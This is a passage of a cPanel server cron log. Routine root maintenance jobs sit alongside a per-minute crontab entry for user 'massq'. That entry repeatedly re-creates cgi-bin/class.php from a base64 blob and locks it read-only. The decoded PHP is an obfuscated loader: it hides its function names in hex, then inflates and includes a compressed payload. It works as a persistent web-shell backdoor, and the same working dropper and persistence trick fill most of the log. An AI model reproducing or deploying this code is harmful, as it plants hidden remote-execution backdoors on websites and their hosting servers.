jm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:32:01 server CROND[30986]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:32:01 server CROND[30987]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:32:01 server CROND[30988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:33:01 server CROND[31392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:33:01 server CROND[31394]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:33:01 server CROND[31393]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:34:01 server CROND[31779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:34:01 server CROND[31780]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:34:01 server CROND[31781]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:35:01 server CROND[32176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:35:01 server CROND[32178]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:35:01 server CROND[32179]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:35:01 server CROND[32180]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 12:35:01 server CROND[32184]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 12:35:01 server CROND[32185]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 12:35:01 server CROND[32186]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 12:35:01 server CROND[32183]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:35:01 server CROND[32182]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:36:01 server CROND[569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:36:01 server CROND[568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:36:01 server CROND[570]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:37:01 server CROND[1121]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:37:01 server CROND[1122]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:37:01 server CROND[1123]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:38:01 server CROND[1548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:38:01 server CROND[1549]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:38:01 server CROND[1550]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:39:01 server CROND[2009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:39:01 server CROND[2010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:39:01 server CROND[2012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:39:01 server CROND[2011]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 12:40:01 server CROND[2413]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 12:40:01 server CROND[2414]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 12:40:01 server CROND[2416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:40:01 server CROND[2421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:40:01 server CROND[2422]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 12:40:01 server CROND[2417]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 12:40:01 server CROND[2420]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 12:40:01 server CROND[2419]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:41:01 server CROND[3284]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:41:01 server CROND[3285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:41:01 server CROND[3286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:42:01 server CROND[3772]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:42:01 server CROND[3774]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:42:01 server CROND[3773]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 12:42:01 server CROND[3775]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 12:43:01 server CROND[4167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 12:43:01 server CROND[4166]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 12:43:01 server CROND[4168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJR